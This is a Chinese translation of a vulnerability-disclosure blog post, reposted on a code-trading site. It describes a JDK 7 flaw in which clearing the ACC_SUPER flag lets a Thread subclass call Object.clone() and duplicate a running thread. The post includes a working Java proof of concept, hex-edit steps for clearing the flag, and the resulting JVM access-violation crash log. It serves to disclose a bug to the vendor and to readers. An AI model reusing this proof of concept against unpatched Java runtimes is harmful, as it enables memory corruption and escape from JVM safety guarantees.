这篇博客原本是在 2011年6月23日 发布的,但是 Oracle 在调查之后删除了此文,一年多过去了,这个问题还是没解决。因此我通知 Oracle 我要重新发布这篇文章,但同样是没有任何回应。-- Jeroen
当发现这个问题时我已经在 邮件列表 中警告过,但显然被忽视了,或许写一篇博文更有帮助。
之前 JDK 6 的克隆漏洞用一种聪明且安全的方式予以解决了。在 JDK 7 中他们尝试通过继承 Object.clone() 来处理而不仅仅是抛出 CloneNotSupportedException 异常。唯一的问题是,在 Java 中(.NET 亦是如此)继承一个方法并不是让父类方法不可用的安全手段。
有个标志大家可能不太知道 —— ACC_SUPER 可以让你调用父类中的任意可访问的方法。因此 Thread.clone() 可被忽略,然后直接在线程的子类(不带有 ACC_SUPER 标志)中调用 Object.clone() 方法。
这里有个例子:
class Clone extends Thread implements Cloneable { public Object clone() { try { return super.clone(); } catch (CloneNotSupportedException _) { throw new Error(); } } } class Demo { public static void main(String[] args) throws Throwable { Clone c1 = new Clone() { public void run() { for (;;) { } } }; c1.start(); Thread t = (Thread)c1.clone(); c1.stop(); c1.join(); System.gc(); t.stop(); } }
注意到如果你用 JDK 6 进行编译,你需要编辑 Clone.class 以清除 ACC_SUPER 标志。可使用任意十六进制编辑器将 20(十六进制) 替换为 00,或者下载我已经替换好的拷贝。
然后我们来运行看看:
C:j>jdk1.7-b145injava Demo # # A fatal error has been detected by the Java Runtime Environment: # # EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x000000006cd5af54, pid=3708, t id=10460 # # JRE version: 7.0-b145 # Java VM: Java HotSpot(TM) 64-Bit Server VM (21.0-b15 mixed mode windows-amd64 compressed oops) # Problematic frame: # V [jvm.dll+0x1caf54] # # Failed to write core dump. Minidumps are not enabled by default on client versions of Windows # # An error report file with more information is saved as: # C:jhs_err_pid3708.log # # If you would like to submit a bug report, please visit: # http://bugreport.sun.com/bugreport/crash.jsp #本文中的所有译文仅用于学习和交流目的,转载请务必注明文章译者、出处、和本文链接。 2KB翻译工作遵照 CC 协议,如果我们的工作有侵犯到您的权益,请及时联系我们。
2KB项目(www.2kb.com,源码交易平台),提供担保交易、源码交易、虚拟商品、在家创业、在线创业、任务交易、网站设计、软件设计、网络兼职、站长交易、域名交易、链接买卖、网站交易、广告买卖、站长培训、建站美工等服务